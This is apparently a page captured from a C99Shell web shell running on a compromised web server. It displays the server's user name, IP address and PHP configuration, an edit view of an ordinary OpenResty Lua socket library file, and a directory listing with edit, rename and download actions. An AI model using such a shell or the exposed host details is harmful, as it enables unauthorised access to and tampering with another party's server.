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! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: exec,passthru,shell_exec,system Host: User: spotnikn Software: Apache IP: 63.135.127.32 PHP: 7.1.33 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /opt/imunify360-webshield/lualib/resty/core/

Edit File: socket.lua

local base = require "resty.core.base"
-- base.allows_subsystem("http")
local debug = require "debug"
local ffi = require "ffi"
local subsystem = ngx.config.subsystem

local error    = error
local assert   = assert
local tonumber = tonumber
local tostring = tostring
local type     = type
local select   = select
local registry = debug.getregistry()

local C       = ffi.C
local ffi_new = ffi.new
local ffi_str = ffi.string
local ffi_gc  = ffi.gc

local get_string_buf = base.get_string_buf
local get_size_ptr   = base.get_size_ptr
local get_request    = base.get_request
local errmsg         = base.get_errmsg_ptr()

local co_yield = coroutine._yield

local option_index = {
    ["keepalive"]   = 1,
    ["reuseaddr"]   = 2,
    ["tcp-nodelay"] = 3,
    ["sndbuf"]      = 4,
    ["rcvbuf"]      = 5,
    ["keepintvl"]   = 6,
    ["keepcnt"]     = 7,
}

local ngx_lua_ffi_socket_tcp_getoption
local ngx_lua_ffi_socket_tcp_setoption
local ngx_lua_ffi_socket_getfd
local ngx_lua_ffi_socket_getsslpointer
local ngx_lua_ffi_socket_getsslctx

if subsystem == 'http' then
ffi.cdef[[
typedef struct ngx_http_lua_socket_tcp_upstream_s
    ngx_http_lua_socket_tcp_upstream_t;

int
ngx_http_lua_ffi_socket_tcp_getoption(ngx_http_lua_socket_tcp_upstream_t *u,
    int opt, int *val, unsigned char *err, size_t *errlen);

int
ngx_http_lua_ffi_socket_tcp_setoption(ngx_http_lua_socket_tcp_upstream_t *u,
    int opt, int val, unsigned char *err, size_t *errlen);

int
ngx_http_lua_ffi_socket_tcp_sslhandshake(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, void *sess,
    int enable_session_reuse, ngx_str_t *server_name, int verify,
    int ocsp_status_req, void *chain, void *pkey, char **errmsg);

int
ngx_http_lua_ffi_socket_tcp_get_sslhandshake_result(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, void **sess, char **errmsg,
    int *openssl_error_code);

void
ngx_http_lua_ffi_ssl_free_session(void *sess);

int
ngx_http_lua_ffi_socket_tcp_getfd(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, char **errmsg);
int
ngx_http_lua_socket_tcp_get_ssl_session(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, void **sess,
    char **errmsg);
int
ngx_http_lua_ffi_socket_tcp_get_ssl_pointer(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, void **pssl,
    char **errmsg);
int
ngx_http_lua_ffi_socket_tcp_get_ssl_ctx(ngx_http_request_t *r,
    ngx_http_lua_socket_tcp_upstream_t *u, void **pctx,
    char **errmsg);
]]

ngx_lua_ffi_socket_tcp_getoption = C.ngx_http_lua_ffi_socket_tcp_getoption
ngx_lua_ffi_socket_tcp_setoption = C.ngx_http_lua_ffi_socket_tcp_setoption
ngx_lua_ffi_socket_getfd = C.ngx_http_lua_ffi_socket_tcp_getfd
if pcall(function() return C.ngx_http_lua_ffi_socket_tcp_get_ssl_pointer end)
then
ngx_lua_ffi_socket_getsslpointer = C.ngx_http_lua_ffi_socket_tcp_get_ssl_pointer
end

if pcall(function() return C.ngx_http_lua_ffi_socket_tcp_get_ssl_ctx end) then
ngx_lua_ffi_socket_getsslctx = C.ngx_http_lua_ffi_socket_tcp_get_ssl_ctx
end

elseif subsystem == 'stream' then

ffi.cdef[[
typedef struct ngx_stream_lua_socket_tcp_upstream_s
    ngx_stream_lua_socket_tcp_upstream_t;

int
ngx_stream_lua_ffi_socket_tcp_getoption(ngx_stream_lua_socket_tcp_upstream_t *u,
    int option, int *val, unsigned char *err, size_t *errlen);
int
ngx_stream_lua_ffi_socket_tcp_setoption(ngx_stream_lua_socket_tcp_upstream_t *u,
    int opt, int val, unsigned char *err, size_t *errlen);
int
ngx_stream_lua_ffi_socket_tcp_getfd(ngx_stream_lua_request_t *r,
   ngx_stream_lua_socket_tcp_upstream_t *u,
   char **errmsg);
int
ngx_stream_lua_ffi_socket_tcp_get_ssl_pointer(ngx_stream_lua_request_t *r,
    ngx_stream_lua_socket_tcp_upstream_t *u, void **pssl,
    char **errmsg);
int
ngx_stream_lua_ffi_socket_tcp_get_ssl_ctx(ngx_stream_lua_request_t *r,
    ngx_stream_lua_socket_tcp_upstream_t *u, void **pctx,
    char **errmsg);
]]

ngx_lua_ffi_socket_tcp_getoption = C.ngx_stream_lua_ffi_socket_tcp_getoption
ngx_lua_ffi_socket_tcp_setoption = C.ngx_stream_lua_ffi_socket_tcp_setoption
ngx_lua_ffi_socket_getfd = C.ngx_stream_lua_ffi_socket_tcp_getfd
if pcall(function() return C.ngx_stream_lua_ffi_socket_tcp_get_ssl_pointer end)
then
ngx_lua_ffi_socket_getsslpointer =
    C.ngx_stream_lua_ffi_socket_tcp_get_ssl_pointer
end
if pcall(function() return C.ngx_stream_lua_ffi_socket_tcp_get_ssl_pointer end)
then
ngx_lua_ffi_socket_getsslctx = C.ngx_stream_lua_ffi_socket_tcp_get_ssl_pointer
end
end

local output_value_buf = ffi_new("int[1]")
local session_ptr      = ffi_new("void *[1]")
local ERR_BUF_SIZE = 4096

local FFI_OK         = base.FFI_OK
local FFI_ERROR      = base.FFI_ERROR
local FFI_DONE       = base.FFI_DONE
local FFI_AGAIN      = base.FFI_AGAIN
local FFI_NO_REQ_CTX = base.FFI_NO_REQ_CTX

local SOCKET_CTX_INDEX          = 1
local SOCKET_CLIENT_CERT_INDEX  = 6
local SOCKET_CLIENT_PKEY_INDEX  = 7
local SOCKET_IP_TRANSPARENT_INDEX = 9

local function get_tcp_socket(cosocket)
    local tcp_socket = cosocket[SOCKET_CTX_INDEX]
    if not tcp_socket then
        error("socket is never created nor connected")
    end

return tcp_socket
end

local function getoption(cosocket, option)
    local tcp_socket = get_tcp_socket(cosocket)

if option == nil then
        return nil, 'missing the "option" argument'
    end

if option_index[option] == nil then
        return nil, "unsupported option " .. tostring(option)
    end

local err = get_string_buf(ERR_BUF_SIZE)
    local errlen = get_size_ptr()
    errlen[0] = ERR_BUF_SIZE

local rc = ngx_lua_ffi_socket_tcp_getoption(tcp_socket,
                                                option_index[option],
                                                output_value_buf,
                                                err,
                                                errlen)
    if rc ~= FFI_OK then
        return nil, ffi_str(err, errlen[0])
    end

return tonumber(output_value_buf[0])
end

local function setoption(cosocket, option, value)
    if option == nil then
        return nil, 'missing the "option" argument'
    end

if value == nil then
        return nil, 'missing the "value" argument'
    end

if option == "ip-transparent" then
        cosocket[SOCKET_IP_TRANSPARENT_INDEX] = value
        return true
    end

local tcp_socket = get_tcp_socket(cosocket)
    if option_index[option] == nil then
        return nil, "unsupported option " .. tostring(option)
    end

local err = get_string_buf(ERR_BUF_SIZE)
    local errlen = get_size_ptr()
    errlen[0] = ERR_BUF_SIZE

local rc = ngx_lua_ffi_socket_tcp_setoption(tcp_socket,
                                                option_index[option],
                                                value,
                                                err,
                                                errlen)
    if rc ~= FFI_OK then
        return nil, ffi_str(err, errlen[0])
    end

return true
end

local function getfd(cosocket)
    if not cosocket then
        error("ngx.socket getfd: expecting the cosocket object, but seen none")
    end

local r = get_request()
    if not r then
        error("no request found")
    end

local u = get_tcp_socket(cosocket)

local fd = ngx_lua_ffi_socket_getfd(r, u, errmsg)
    if (fd < 0) then
        return nil, ffi_str(errmsg[0])
    end

return fd;
end

local function getsslpointer(cosocket)
    if not cosocket then
        error("ngx.socket getfd: expecting the cosocket object, but seen none")
    end

local r = get_request()
    if not r then
        error("no request found")
    end

local u = get_tcp_socket(cosocket)
    local rc = ngx_lua_ffi_socket_getsslpointer(r, u,
                                                session_ptr, errmsg)
    if rc == FFI_ERROR then
        return nil, ffi_str(errmsg[0])
    end

return session_ptr[0]
end

local function getsslctx(cosocket)
    if not cosocket then
        error("ngx.socket getfd: expecting the cosocket object, but seen none")
    end

local r = get_request()
    if not r then
        error("no request found")
    end

local u = get_tcp_socket(cosocket)
    local rc = ngx_lua_ffi_socket_getsslctx(r, u,
                                            session_ptr, errmsg)
    if rc == FFI_ERROR then
        return nil, ffi_str(errmsg[0])
    end

return session_ptr[0]
end

if subsystem == 'http' then
local server_name_str    = ffi_new("ngx_str_t[1]")
local openssl_error_code = ffi_new("int[1]")

local function setclientcert(cosocket, cert, pkey)
    if not cert and not pkey then
        cosocket[SOCKET_CLIENT_CERT_INDEX] = nil
        cosocket[SOCKET_CLIENT_PKEY_INDEX] = nil
        return true
    end

if not cert or not pkey then
        return nil,
               "client certificate must be supplied with corresponding " ..
               "private key"
    end

if type(cert) ~= "cdata" then
        return nil, "bad cert arg: cdata expected, got " .. type(cert)
    end

if type(pkey) ~= "cdata" then
        return nil, "bad pkey arg: cdata expected, got " .. type(pkey)
    end

cosocket[SOCKET_CLIENT_CERT_INDEX] = cert
    cosocket[SOCKET_CLIENT_PKEY_INDEX] = pkey

return true
end

local function sslhandshake(cosocket, reused_session, server_name, ssl_verify,
    send_status_req, ...)

local n = select("#", ...)
    if not cosocket or n > 0 then
        error("ngx.socket sslhandshake: expecting 1 ~ 5 arguments " ..
              "(including the object), but seen " .. (cosocket and 5 + n or 0))
    end

local r = get_request()
    if not r then
        error("no request found", 2)
    end

session_ptr[0] = type(reused_session) == "cdata" and reused_session or nil

if server_name then
        server_name_str[0].data = server_name
        server_name_str[0].len = #server_name

else
        server_name_str[0].data = nil
        server_name_str[0].len = 0
    end

local u = get_tcp_socket(cosocket)

local rc = C.ngx_http_lua_ffi_socket_tcp_sslhandshake(r, u,
                   session_ptr[0],
                   reused_session ~= false,
                   server_name_str,
                   ssl_verify and 1 or 0,
                   send_status_req and 1 or 0,
                   cosocket[SOCKET_CLIENT_CERT_INDEX],
                   cosocket[SOCKET_CLIENT_PKEY_INDEX],
                   errmsg)

if rc == FFI_NO_REQ_CTX then
        error("no request ctx found", 2)
    end

if rc == FFI_OK then
        if reused_session == false then
            return true
        end

rc = C.ngx_http_lua_ffi_socket_tcp_get_sslhandshake_result(r, u,
                 session_ptr, errmsg, openssl_error_code)
    end

while true do
        if rc == FFI_ERROR then
            if openssl_error_code[0] ~= 0 then
                return nil, openssl_error_code[0] .. ": " .. ffi_str(errmsg[0])
            end

return nil, ffi_str(errmsg[0])
        end

if rc == FFI_DONE then
            return reused_session
        end

if rc == FFI_OK then
            if reused_session == false then
                return true
            end

rc = C.ngx_http_lua_ffi_socket_tcp_get_sslhandshake_result(r, u,
                     session_ptr, errmsg, openssl_error_code)

assert(rc == FFI_OK)

if session_ptr[0] == nil then
                return session_ptr[0]
            end

return ffi_gc(session_ptr[0], C.ngx_http_lua_ffi_ssl_free_session)
        end

assert(rc == FFI_AGAIN)

co_yield()

rc = C.ngx_http_lua_ffi_socket_tcp_get_sslhandshake_result(r, u,
                 session_ptr, errmsg, openssl_error_code)
    end
end

local function getsslsession(cosocket)
    if not cosocket then
        error("ngx.socket getfd: expecting the cosocket object, but seen none")
    end

local r = get_request()
    if not r then
        error("no request found")
    end

local u = get_tcp_socket(cosocket)
    local rc = C.ngx_http_lua_socket_tcp_get_ssl_session(r, u,
                                                         session_ptr, errmsg)
    if rc == FFI_ERROR then
        return nil, ffi_str(errmsg[0])
    end

return ffi_gc(session_ptr[0], C.ngx_http_lua_ffi_ssl_free_session)
end

do
    local method_table = registry.__tcp_cosocket_mt
    method_table.getoption = getoption
    method_table.setoption = setoption
    method_table.setclientcert = setclientcert
    method_table.sslhandshake  = sslhandshake
    method_table.getfd = getfd
    method_table.getoption = getoption
    method_table.setoption = setoption
    method_table.getsslsession = getsslsession
    method_table.getsslpointer = getsslpointer
    method_table.getsslctx = getsslctx

method_table = registry.__tcp_req_cosocket_mt
    method_table.getfd = getfd
    method_table.getoption = getoption
    method_table.setoption = setoption

method_table = registry.__tcp_raw_req_cosocket_mt
    method_table.getfd = getfd
    method_table.getoption = getoption
    method_table.setoption = setoption
end

elseif subsystem == 'stream' then
do
    local method_table = registry.__tcp_cosocket_mt
    method_table.getoption = getoption
    method_table.setoption = setoption
    method_table.getfd = getfd
    method_table.getsslpointer = getsslpointer
    method_table.getsslctx = getsslctx

method_table = registry.__tcp_raw_req_cosocket_mt
    method_table.getfd = getfd
    method_table.getoption = getoption
    method_table.setoption = setoption
end
end

return { version = base.version }

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
base.lua	5.59 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
base64.lua	3.66 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
coroutine.lua	720 B	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
ctx.lua	3.71 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
exit.lua	1.41 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
hash.lua	3.92 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
misc.lua	5.7 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
ndk.lua	2.13 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
param.lua	2.35 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
phase.lua	1.65 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
regex.lua	34.61 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
request.lua	11.84 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
response.lua	6.48 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
shdict.lua	26.56 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
socket.lua	13.3 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
time.lua	4.64 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
uri.lua	3.03 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
utils.lua	972 B	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
var.lua	3.82 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download
worker.lua	3.41 KB	26.05.2026 10:38:16	0/0	-rw-r--r--	Edit Rename Download

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